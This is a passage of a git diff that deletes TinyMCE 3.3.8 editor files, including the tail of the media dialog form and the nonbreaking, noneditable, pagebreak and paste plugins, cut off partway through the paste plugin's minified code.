for="qt_volume">{#media_dlg.volume}</label></td> - <td><input type="text" id="qt_volume" name="qt_volume" onchange="generatePreview();" /></td> - </tr> - - <tr> - <td><label for="qt_qtsrc">{#media_dlg.qtsrc}</label></td> - <td colspan="4"> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input type="text" id="qt_qtsrc" name="qt_qtsrc" onchange="generatePreview();" /></td> - <td id="qtsrcfilebrowsercontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - </table> - </fieldset> - - <fieldset id="wmp_options"> - <legend>{#media_dlg.wmp_options}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="wmp_autostart" name="wmp_autostart" checked="checked" onchange="generatePreview();" /></td> - <td><label for="wmp_autostart">{#media_dlg.autostart}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="wmp_enabled" name="wmp_enabled" onchange="generatePreview();" /></td> - <td><label for="wmp_enabled">{#media_dlg.enabled}</label></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="wmp_enablecontextmenu" name="wmp_enablecontextmenu" checked="checked" onchange="generatePreview();" /></td> - <td><label for="wmp_enablecontextmenu">{#media_dlg.menu}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="wmp_fullscreen" name="wmp_fullscreen" onchange="generatePreview();" /></td> - <td><label for="wmp_fullscreen">{#media_dlg.fullscreen}</label></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="wmp_invokeurls" name="wmp_invokeurls" checked="checked" onchange="generatePreview();" /></td> - <td><label for="wmp_invokeurls">{#media_dlg.invokeurls}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="wmp_mute" name="wmp_mute" onchange="generatePreview();" /></td> - <td><label for="wmp_mute">{#media_dlg.mute}</label></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="wmp_stretchtofit" name="wmp_stretchtofit" onchange="generatePreview();" /></td> - <td><label for="wmp_stretchtofit">{#media_dlg.stretchtofit}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="wmp_windowlessvideo" name="wmp_windowlessvideo" onchange="generatePreview();" /></td> - <td><label for="wmp_windowlessvideo">{#media_dlg.windowlessvideo}</label></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td><label for="wmp_balance">{#media_dlg.balance}</label></td> - <td><input type="text" id="wmp_balance" name="wmp_balance" onchange="generatePreview();" /></td> - - <td><label for="wmp_baseurl">{#media_dlg.baseurl}</label></td> - <td><input type="text" id="wmp_baseurl" name="wmp_baseurl" onchange="generatePreview();" /></td> - </tr> - - <tr> - <td><label for="wmp_captioningid">{#media_dlg.captioningid}</label></td> - <td><input type="text" id="wmp_captioningid" name="wmp_captioningid" onchange="generatePreview();" /></td> - - <td><label for="wmp_currentmarker">{#media_dlg.currentmarker}</label></td> - <td><input type="text" id="wmp_currentmarker" name="wmp_currentmarker" onchange="generatePreview();" /></td> - </tr> - - <tr> - <td><label for="wmp_currentposition">{#media_dlg.currentposition}</label></td> - <td><input type="text" id="wmp_currentposition" name="wmp_currentposition" onchange="generatePreview();" /></td> - - <td><label for="wmp_defaultframe">{#media_dlg.defaultframe}</label></td> - <td><input type="text" id="wmp_defaultframe" name="wmp_defaultframe" onchange="generatePreview();" /></td> - </tr> - - <tr> - <td><label for="wmp_playcount">{#media_dlg.playcount}</label></td> - <td><input type="text" id="wmp_playcount" name="wmp_playcount" onchange="generatePreview();" /></td> - - <td><label for="wmp_rate">{#media_dlg.rate}</label></td> - <td><input type="text" id="wmp_rate" name="wmp_rate" onchange="generatePreview();" /></td> - </tr> - - <tr> - <td><label for="wmp_uimode">{#media_dlg.uimode}</label></td> - <td><input type="text" id="wmp_uimode" name="wmp_uimode" onchange="generatePreview();" /></td> - - <td><label for="wmp_volume">{#media_dlg.volume}</label></td> - <td><input type="text" id="wmp_volume" name="wmp_volume" onchange="generatePreview();" /></td> - </tr> - - </table> - </fieldset> - - <fieldset id="rmp_options"> - <legend>{#media_dlg.rmp_options}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="rmp_autostart" name="rmp_autostart" onchange="generatePreview();" /></td> - <td><label for="rmp_autostart">{#media_dlg.autostart}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="rmp_loop" name="rmp_loop" onchange="generatePreview();" /></td> - <td><label for="rmp_loop">{#media_dlg.loop}</label></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="rmp_autogotourl" name="rmp_autogotourl" checked="checked" onchange="generatePreview();" /></td> - <td><label for="rmp_autogotourl">{#media_dlg.autogotourl}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="rmp_center" name="rmp_center" onchange="generatePreview();" /></td> - <td><label for="rmp_center">{#media_dlg.center}</label></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="rmp_imagestatus" name="rmp_imagestatus" checked="checked" onchange="generatePreview();" /></td> - <td><label for="rmp_imagestatus">{#media_dlg.imagestatus}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="rmp_maintainaspect" name="rmp_maintainaspect" onchange="generatePreview();" /></td> - <td><label for="rmp_maintainaspect">{#media_dlg.maintainaspect}</label></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="rmp_nojava" name="rmp_nojava" onchange="generatePreview();" /></td> - <td><label for="rmp_nojava">{#media_dlg.nojava}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="rmp_prefetch" name="rmp_prefetch" onchange="generatePreview();" /></td> - <td><label for="rmp_prefetch">{#media_dlg.prefetch}</label></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="rmp_shuffle" name="rmp_shuffle" onchange="generatePreview();" /></td> - <td><label for="rmp_shuffle">{#media_dlg.shuffle}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - &nbsp; - </td> - </tr> - - <tr> - <td><label for="rmp_console">{#media_dlg.console}</label></td> - <td><input type="text" id="rmp_console" name="rmp_console" onchange="generatePreview();" /></td> - - <td><label for="rmp_controls">{#media_dlg.controls}</label></td> - <td><input type="text" id="rmp_controls" name="rmp_controls" onchange="generatePreview();" /></td> - </tr> - - <tr> - <td><label for="rmp_numloop">{#media_dlg.numloop}</label></td> - <td><input type="text" id="rmp_numloop" name="rmp_numloop" onchange="generatePreview();" /></td> - - <td><label for="rmp_scriptcallbacks">{#media_dlg.scriptcallbacks}</label></td> - <td><input type="text" id="rmp_scriptcallbacks" name="rmp_scriptcallbacks" onchange="generatePreview();" /></td> - </tr> - </table> - </fieldset> - - <fieldset id="shockwave_options"> - <legend>{#media_dlg.shockwave_options}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td><label for="shockwave_swstretchstyle">{#media_dlg.swstretchstyle}</label></td> - <td> - <select id="shockwave_swstretchstyle" name="shockwave_swstretchstyle" onchange="generatePreview();"> - <option value="none">{#not_set}</option> - <option value="meet">Meet</option> - <option value="fill">Fill</option> - <option value="stage">Stage</option> - </select> - </td> - - <td><label for="shockwave_swvolume">{#media_dlg.volume}</label></td> - <td><input type="text" id="shockwave_swvolume" name="shockwave_swvolume" onchange="generatePreview();" /></td> - </tr> - - <tr> - <td><label for="shockwave_swstretchhalign">{#media_dlg.swstretchhalign}</label></td> - <td> - <select id="shockwave_swstretchhalign" name="shockwave_swstretchhalign" onchange="generatePreview();"> - <option value="none">{#not_set}</option> - <option value="left">{#media_dlg.align_left}</option> - <option value="center">{#media_dlg.align_center}</option> - <option value="right">{#media_dlg.align_right}</option> - </select> - </td> - - <td><label for="shockwave_swstretchvalign">{#media_dlg.swstretchvalign}</label></td> - <td> - <select id="shockwave_swstretchvalign" name="shockwave_swstretchvalign" onchange="generatePreview();"> - <option value="none">{#not_set}</option> - <option value="meet">Meet</option> - <option value="fill">Fill</option> - <option value="stage">Stage</option> - </select> - </td> - </tr> - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="shockwave_autostart" name="shockwave_autostart" onchange="generatePreview();" checked="checked" /></td> - <td><label for="shockwave_autostart">{#media_dlg.autostart}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="shockwave_sound" name="shockwave_sound" onchange="generatePreview();" checked="checked" /></td> - <td><label for="shockwave_sound">{#media_dlg.sound}</label></td> - </tr> - </table> - </td> - </tr> - - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="shockwave_swliveconnect" name="shockwave_swliveconnect" onchange="generatePreview();" /></td> - <td><label for="shockwave_swliveconnect">{#media_dlg.liveconnect}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="shockwave_progress" name="shockwave_progress" onchange="generatePreview();" checked="checked" /></td> - <td><label for="shockwave_progress">{#media_dlg.progress}</label></td> - </tr> - </table> - </td> - </tr> - </table> - </fieldset> - </div> - </div> - - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#insert}" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> - </form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/nonbreaking/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/nonbreaking/editor_plugin.js deleted file mode 100644 index eb40a6a..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/nonbreaking/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.Nonbreaking",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceNonBreaking",function(){a.execCommand("mceInsertContent",false,(a.plugins.visualchars&&a.plugins.visualchars.state)?'<span _mce_bogus="1" class="mceItemHidden mceItemNbsp">&nbsp;</span>':"&nbsp;")});a.addButton("nonbreaking",{title:"nonbreaking.nonbreaking_desc",cmd:"mceNonBreaking"});if(a.getParam("nonbreaking_force_tab")){a.onKeyDown.add(function(d,f){if(tinymce.isIE&&f.keyCode==9){d.execCommand("mceNonBreaking");d.execCommand("mceNonBreaking");d.execCommand("mceNonBreaking");tinymce.dom.Event.cancel(f)}})}},getInfo:function(){return{longname:"Nonbreaking space",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/nonbreaking",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("nonbreaking",tinymce.plugins.Nonbreaking)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/nonbreaking/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/nonbreaking/editor_plugin_src.js deleted file mode 100644 index ca83ee2..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/nonbreaking/editor_plugin_src.js +++ /dev/null @@ -1,53 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.Nonbreaking', { - init : function(ed, url) { - var t = this; - - t.editor = ed; - - // Register commands - ed.addCommand('mceNonBreaking', function() { - ed.execCommand('mceInsertContent', false, (ed.plugins.visualchars && ed.plugins.visualchars.state) ? '<span _mce_bogus="1" class="mceItemHidden mceItemNbsp">&nbsp;</span>' : '&nbsp;'); - }); - - // Register buttons - ed.addButton('nonbreaking', {title : 'nonbreaking.nonbreaking_desc', cmd : 'mceNonBreaking'}); - - if (ed.getParam('nonbreaking_force_tab')) { - ed.onKeyDown.add(function(ed, e) { - if (tinymce.isIE && e.keyCode == 9) { - ed.execCommand('mceNonBreaking'); - ed.execCommand('mceNonBreaking'); - ed.execCommand('mceNonBreaking'); - tinymce.dom.Event.cancel(e); - } - }); - } - }, - - getInfo : function() { - return { - longname : 'Nonbreaking space', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/nonbreaking', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - - // Private methods - }); - - // Register plugin - tinymce.PluginManager.add('nonbreaking', tinymce.plugins.Nonbreaking); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/noneditable/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/noneditable/editor_plugin.js deleted file mode 100644 index 9945cd8..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/noneditable/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){var a=tinymce.dom.Event;tinymce.create("tinymce.plugins.NonEditablePlugin",{init:function(d,e){var f=this,c,b;f.editor=d;c=d.getParam("noneditable_editable_class","mceEditable");b=d.getParam("noneditable_noneditable_class","mceNonEditable");d.onNodeChange.addToTop(function(h,g,k){var j,i;j=h.dom.getParent(h.selection.getStart(),function(l){return h.dom.hasClass(l,b)});i=h.dom.getParent(h.selection.getEnd(),function(l){return h.dom.hasClass(l,b)});if(j||i){f._setDisabled(1);return false}else{f._setDisabled(0)}})},getInfo:function(){return{longname:"Non editable elements",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/noneditable",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_block:function(c,d){var b=d.keyCode;if((b>32&&b<41)||(b>111&&b<124)){return}return a.cancel(d)},_setDisabled:function(d){var c=this,b=c.editor;tinymce.each(b.controlManager.controls,function(e){e.setDisabled(d)});if(d!==c.disabled){if(d){b.onKeyDown.addToTop(c._block);b.onKeyPress.addToTop(c._block);b.onKeyUp.addToTop(c._block);b.onPaste.addToTop(c._block)}else{b.onKeyDown.remove(c._block);b.onKeyPress.remove(c._block);b.onKeyUp.remove(c._block);b.onPaste.remove(c._block)}c.disabled=d}}});tinymce.PluginManager.add("noneditable",tinymce.plugins.NonEditablePlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/noneditable/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/noneditable/editor_plugin_src.js deleted file mode 100644 index 656c971..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/noneditable/editor_plugin_src.js +++ /dev/null @@ -1,90 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - var Event = tinymce.dom.Event; - - tinymce.create('tinymce.plugins.NonEditablePlugin', { - init : function(ed, url) { - var t = this, editClass, nonEditClass; - - t.editor = ed; - editClass = ed.getParam("noneditable_editable_class", "mceEditable"); - nonEditClass = ed.getParam("noneditable_noneditable_class", "mceNonEditable"); - - ed.onNodeChange.addToTop(function(ed, cm, n) { - var sc, ec; - - // Block if start or end is inside a non editable element - sc = ed.dom.getParent(ed.selection.getStart(), function(n) { - return ed.dom.hasClass(n, nonEditClass); - }); - - ec = ed.dom.getParent(ed.selection.getEnd(), function(n) { - return ed.dom.hasClass(n, nonEditClass); - }); - - // Block or unblock - if (sc || ec) { - t._setDisabled(1); - return false; - } else - t._setDisabled(0); - }); - }, - - getInfo : function() { - return { - longname : 'Non editable elements', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/noneditable', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - }, - - _block : function(ed, e) { - var k = e.keyCode; - - // Don't block arrow keys, pg up/down, and F1-F12 - if ((k > 32 && k < 41) || (k > 111 && k < 124)) - return; - - return Event.cancel(e); - }, - - _setDisabled : function(s) { - var t = this, ed = t.editor; - - tinymce.each(ed.controlManager.controls, function(c) { - c.setDisabled(s); - }); - - if (s !== t.disabled) { - if (s) { - ed.onKeyDown.addToTop(t._block); - ed.onKeyPress.addToTop(t._block); - ed.onKeyUp.addToTop(t._block); - ed.onPaste.addToTop(t._block); - } else { - ed.onKeyDown.remove(t._block); - ed.onKeyPress.remove(t._block); - ed.onKeyUp.remove(t._block); - ed.onPaste.remove(t._block); - } - - t.disabled = s; - } - } - }); - - // Register plugin - tinymce.PluginManager.add('noneditable', tinymce.plugins.NonEditablePlugin); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/css/content.css b/tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/css/content.css deleted file mode 100644 index c949d58..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/css/content.css +++ /dev/null @@ -1 +0,0 @@ -.mcePageBreak {display:block;border:0;width:100%;height:12px;border-top:1px dotted #ccc;margin-top:15px;background:#fff url(../img/pagebreak.gif) no-repeat center top;} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/editor_plugin.js deleted file mode 100644 index a212f69..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.PageBreakPlugin",{init:function(b,d){var f='<img src="'+d+'/img/trans.gif" class="mcePageBreak mceItemNoResize" />',a="mcePageBreak",c=b.getParam("pagebreak_separator","<!-- pagebreak -->"),e;e=new RegExp(c.replace(/[\?\.\*\[\]\(\)\{\}\+\^\$\:]/g,function(g){return"\\"+g}),"g");b.addCommand("mcePageBreak",function(){b.execCommand("mceInsertContent",0,f)});b.addButton("pagebreak",{title:"pagebreak.desc",cmd:a});b.onInit.add(function(){if(b.settings.content_css!==false){b.dom.loadCSS(d+"/css/content.css")}if(b.theme.onResolveName){b.theme.onResolveName.add(function(g,h){if(h.node.nodeName=="IMG"&&b.dom.hasClass(h.node,a)){h.name="pagebreak"}})}});b.onClick.add(function(g,h){h=h.target;if(h.nodeName==="IMG"&&g.dom.hasClass(h,a)){g.selection.select(h)}});b.onNodeChange.add(function(h,g,i){g.setActive("pagebreak",i.nodeName==="IMG"&&h.dom.hasClass(i,a))});b.onBeforeSetContent.add(function(g,h){h.content=h.content.replace(e,f)});b.onPostProcess.add(function(g,h){if(h.get){h.content=h.content.replace(/<img[^>]+>/g,function(i){if(i.indexOf('class="mcePageBreak')!==-1){i=c}return i})}})},getInfo:function(){return{longname:"PageBreak",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/pagebreak",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("pagebreak",tinymce.plugins.PageBreakPlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/editor_plugin_src.js deleted file mode 100644 index 4e1eb0a..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/editor_plugin_src.js +++ /dev/null @@ -1,77 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.PageBreakPlugin', { - init : function(ed, url) { - var pb = '<img src="' + url + '/img/trans.gif" class="mcePageBreak mceItemNoResize" />', cls = 'mcePageBreak', sep = ed.getParam('pagebreak_separator', '<!-- pagebreak -->'), pbRE; - - pbRE = new RegExp(sep.replace(/[\?\.\*\[\]\(\)\{\}\+\^\$\:]/g, function(a) {return '\\' + a;}), 'g'); - - // Register commands - ed.addCommand('mcePageBreak', function() { - ed.execCommand('mceInsertContent', 0, pb); - }); - - // Register buttons - ed.addButton('pagebreak', {title : 'pagebreak.desc', cmd : cls}); - - ed.onInit.add(function() { - if (ed.settings.content_css !== false) - ed.dom.loadCSS(url + "/css/content.css"); - - if (ed.theme.onResolveName) { - ed.theme.onResolveName.add(function(th, o) { - if (o.node.nodeName == 'IMG' && ed.dom.hasClass(o.node, cls)) - o.name = 'pagebreak'; - }); - } - }); - - ed.onClick.add(function(ed, e) { - e = e.target; - - if (e.nodeName === 'IMG' && ed.dom.hasClass(e, cls)) - ed.selection.select(e); - }); - - ed.onNodeChange.add(function(ed, cm, n) { - cm.setActive('pagebreak', n.nodeName === 'IMG' && ed.dom.hasClass(n, cls)); - }); - - ed.onBeforeSetContent.add(function(ed, o) { - o.content = o.content.replace(pbRE, pb); - }); - - ed.onPostProcess.add(function(ed, o) { - if (o.get) - o.content = o.content.replace(/<img[^>]+>/g, function(im) { - if (im.indexOf('class="mcePageBreak') !== -1) - im = sep; - - return im; - }); - }); - }, - - getInfo : function() { - return { - longname : 'PageBreak', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/pagebreak', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - // Register plugin - tinymce.PluginManager.add('pagebreak', tinymce.plugins.PageBreakPlugin); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/img/pagebreak.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/img/pagebreak.gif deleted file mode 100644 index acdf4085f3068c4c0a1d6855f4b80dae8bac3068..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 325 zcmV-L0lNN2Nk%w1VPpUd0J9GO`>v<{=;ru;boX6P{`2zsmyZ3>&HK5t_;hIbi-G;z z+4`cI{KdfcXj}GCLjV8&A^8LW000jFEC2ui0Av6R000E?@X1N5y*TU5yZ>M)j$|1M z4Ouvb$pHu>IW8BZq|n;U0s@T!VM5~w1_+1X!EiVl!&PITYdjT!ffYfpt{jAfv%qvh zA63WUHSlr7LkeyaV4(pM0f50(II?RD4RtMg4-E+tFhdAy5{3c=0}3Bg9Y8`B2To20 zR%SO62L%9}0H+dzoKB$+2TOwzUrwi{XiBM^4V#>63q3!LsU3u93zH8CdwqY%62;1g z0g8ze$k93lWExp`CUe|K4qOWk17ZeJ0|5pDP6+}};{>bI@lOWj=kf}r2sHp7w9-Ie XK%9UG6W(*AX-vY05F<*&5CH%?Gwy&_ diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/img/trans.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/img/trans.gif deleted file mode 100644 index 388486517fa8da13ebd150e8f65d5096c3e10c3a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 43 ncmZ?wbhEHbWMp7un7{x9ia%KxMSyG_5FaGNz{KRj$Y2csb)f_x diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/editor_plugin.js deleted file mode 100644 index 3785ab2..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){var c=tinymce.each,d=null,a={paste_auto_cleanup_on_paste:true,paste_block_drop:false,paste_retain_style_properties:"none",paste_strip_class_attributes:"mso",paste_remove_spans:false,paste_remove_styles:false,paste_remove_styles_if_webkit:true,paste_convert_middot_lists:true,paste_convert_headers_to_strong:false,paste_dialog_width:"450",paste_dialog_height:"400",paste_text_use_dialog:false,paste_text_sticky:false,paste_text_notifyalways:false,paste_text_linebreaktype:"p",paste_text_replacements:[[/\u2026/g,"..."],[/[\x93\x94\u201c\u201d]/g,'"'],[/[\x60\x91\x92\u2018\u2019]/g,"'"]]};function b(e,f){return e.getParam(f,a[f])}tinymce.create("tinymce.plugins.PastePlugin",{init:function(e,f){var g=this;g.editor=e;g.url=f;g.onPreProcess=new tinymce.util.Dispatcher(g);g.onPostProcess=new tinymce.util.Dispatcher(g);g.onPreProcess.add(g._preProcess);g.onPostProcess.add(g._postProcess);g.onPreProcess.add(function(j,k){e.execCallback("paste_preprocess",j,k)});g.onPostProcess.add(function(j,k){e.execCallback("paste_postprocess",j,k)});e.pasteAsPlainText=false;function i(l,j){var k=e.dom;g.onPreProcess.dispatch(g,l);l.node=k.create("div",0,l.content);g.onPostProcess.dispatch(g,l);l.content=e.serializer.serialize(l.node,{getInner:1});if((!j)&&(e.pasteAsPlainText)){g._insertPlainText(e,k,l.content);if(!b(e,"paste_text_sticky")){e.pasteAsPlainText=false;e.controlManager.setActive("pastetext",false)}}else{if(/<(p|h[1-6]|ul|ol)/.test(l.content)){g._insertBlockContent(e,k,l.content)}else{g._insert(l.content)}}}e.addCommand("mceInsertClipboardContent",function(j,k){i(k,true)});if(!b(e,"paste_text_use_dialog")){e.addCommand("mcePasteText",function(k,j){var l=tinymce.util.Cookie;e.pasteAsPlainText=!e.pasteAsPlainText;e.controlManager.setActive("pastetext",e.pasteAsPlainText);if((e.pasteAsPlainText)&&(!l.get("tinymcePasteText"))){if(b(e,"paste_text_sticky")){e.windowManager.alert(e.translate("paste.plaintext_mode_sticky"))}else{e.windowManager.alert(e.translate("paste.plaintext_mode_sticky"))}if(!b(e,"paste_text_notifyalways")){l.set("tinymcePasteText","1",new Date(new Date().getFullYear()+1,12,31))}}})}e.addButton("pastetext",{title:"paste.paste_text_desc",cmd:"mcePasteText"});e.addButton("selectall",{title:"paste.selectall_desc",cmd:"selectall"});function h(s){var m,q,k,l=e.selection,p=e.dom,r=e.getBody(),j;if(e.pasteAsPlainText&&(s.clipboardData||p.doc.dataTransfer)){s.preventDefault();i({content:(s.clipboardData||p.doc.dataTransfer).getData("Text")},true);return}if(p.get("_mcePaste")){return}m=p.add(r,"div",{id:"_mcePaste","class":"mcePaste"},'\uFEFF<br _mce_bogus="1">');if(r!=e.getDoc().body){j=p.getPos(e.selection.getStart(),r).y}else{j=r.scrollTop}p.setStyles(m,{position:"absolute",left:-10000,top:j,width:1,height:1,overflow:"hidden"});if(tinymce.isIE){k=p.doc.body.createTextRange();k.moveToElementText(m);k.execCommand("Paste");p.remove(m);if(m.innerHTML==="\uFEFF"){e.execCommand("mcePasteWord");s.preventDefault();return}i({content:m.innerHTML});return tinymce.dom.Event.cancel(s)}else{function o(n){n.preventDefault()}p.bind(e.getDoc(),"mousedown",o);p.bind(e.getDoc(),"keydown",o);q=e.selection.getRng();m=m.firstChild;k=e.getDoc().createRange();k.setStart(m,0);k.setEnd(m,1);l.setRng(k);window.setTimeout(function(){var t="",n=p.select("div.mcePaste");c(n,function(v){var u=v.firstChild;if(u&&u.nodeName=="DIV"&&u.style.marginTop&&u.style.backgroundColor){p.remove(u,1)}c(p.select("div.mcePaste",v),function(w){p.remove(w,1)});c(p.select("span.Apple-style-span",v),function(w){p.remove(w,1)});c(p.select("br[_mce_bogus]",v),function(w){p.remove(w)});t+=v.innerHTML});c(n,function(u){p.remove(u)});if(q){l.setRng(q)}i({content:t});p.unbind(e.getDoc(),"mousedown",o);p.unbind(e.getDoc(),"keydown",o)},0)}}if(b(e,"paste_auto_cleanup_on_paste")){if(tinymce.isOpera||/Firefox\/2/.test(navigator.userAgent)){e.onKeyDown.add(function(j,k){if(((tinymce.isMac?k.metaKey:k.ctrlKey)&&k.keyCode==86)||(k.shiftKey&&k.keyCode==45)){h(k)}})}else{e.onPaste.addToTop(function(j,k){return h(k)})}}if(b(e,"paste_block_drop")){e.onInit.add(function(){e.dom.bind(e.getBody(),["dragend","dragover","draggesture","dragdrop","drop","drag"],function(j){j.preventDefault();j.stopPropagation();return 